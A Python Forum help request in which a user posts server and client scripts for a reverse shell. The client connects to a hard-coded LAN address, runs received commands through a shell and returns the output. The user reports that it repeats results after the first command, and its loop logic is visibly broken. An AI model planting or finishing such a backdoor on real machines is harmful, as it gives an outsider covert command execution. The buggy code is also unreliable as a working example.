Python Forum
Trouble with Client/Server reverse Shell!
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Trouble with Client/Server reverse Shell!
#1
Question 
Hi all,

So i'm trying to create a reverse shell client/server program.
So far i'm able to listen for connections and execute the first command.
after the first command the client/server goes nuts and returns the same result multiple times for every command.
if I type "exit" -
THAT it knows! (great! exit is the last thing I want in that script lol!)

so here's my server code and client code, perhaps you'll see the obviouse thing i'm missing. :)

Server Script:
import socket

def reverse_server():

    host = '192.168.136.131'
    port = 5000
    buffer_size = 1024

    soc = socket.socket()
    soc.bind((host, port))
    soc.listen()

    print("Waiting for connections...")
    client_socket, client_address = soc.accept()
    print(f"Connection from: {client_address}")
    while True:
        try:
            command = input(r'Shell>>')
            if str(command) == "exit":
                client_socket.close()
                break

            client_socket.send(str(command).encode())
            results = client_socket.recv(buffer_size).decode()
            print(f"{results}")

        except (ConnectionAbortedError, ConnectionResetError, ConnectionError) as e:
            print(f"Connection closed. {e}")

    client_socket.close()
    soc.close()
    exit()


reverse_server()
Client Script:

def client():
    server_host = '192.168.136.131'
    server_port = 5000
    buffer_size = 1024

    soc = socket.socket()
    soc.connect((server_host, server_port))

    try:
        while True:
            command = soc.recv(buffer_size).decode()

            while str(command.lower()) != 'exit':
                if command.lower() == 'exit':
                    soc.close()
                    exit()

                elif len(command.lower()) > 0:
                    cmd = subprocess.Popen(command[:], shell=True, stderr=subprocess.PIPE,
                                           stdout=subprocess.PIPE, stdin=subprocess.PIPE)

                    output_bytes = cmd.stdout.read()
                    output_err = cmd.stderr.read()
                    output_err_str = str(output_err, "utf-8")
                    output_str = str(output_bytes, "utf-8")

                    if len(output_err) > 0:
                        soc.send(str.encode(output_err_str))
                        output_err = str('')
                        cmd.stdin.flush()
                        command = soc.recv(buffer_size).decode()

                    soc.send(str.encode(output_str + '\n'))

                else:
                    msg = 'Command undefined'.encode()
                    soc.send(msg)
                    command = soc.recv(buffer_size).decode()

    except ConnectionError:
        print("Remote server closed the connection.")

    soc.close()
    exit()

he's a screenshot of the output:

[Image: 9icC3.jpg]


Thank you for your time!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Paramiko Server -- Exception (server): Error reading SSH protocol banner ujlain 3 4,274 Jul-24-2023, 06:52 AM
Last Post: Gribouillis
  Client/Server proper finalizing transfer wolfman5874 1 1,421 Jul-04-2022, 07:35 PM
Last Post: wolfman5874
Bug Problem connecting TLS client written in C++ and Twisted server gpropf 0 1,360 Jun-12-2022, 05:57 PM
Last Post: gpropf
  Server/client basic communication ebolisa 0 2,009 Sep-30-2021, 12:22 PM
Last Post: ebolisa
  Client server Multithreading Anan 6 5,751 Apr-21-2021, 08:19 PM
Last Post: SheeppOSU
  Basic client server code question swisscheese 4 3,191 Dec-12-2020, 08:51 AM
Last Post: Larz60+
  How can i create a server for already existing client using Python? Chapanson 21 7,311 Aug-19-2020, 09:12 AM
Last Post: DeaD_EyE
  Simple TCP Client and TCP Server Problem Vapulabis 5 4,334 Jul-12-2020, 05:09 PM
Last Post: ndc85430
  how to send an image from server to client using PICKLE module dafdaf 1 3,066 Jun-02-2020, 01:08 PM
Last Post: nuffink
  how can i send a list of tuples from the server to the client using sockets? dafdaf 1 3,826 Apr-13-2020, 10:51 PM
Last Post: Larz60+

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020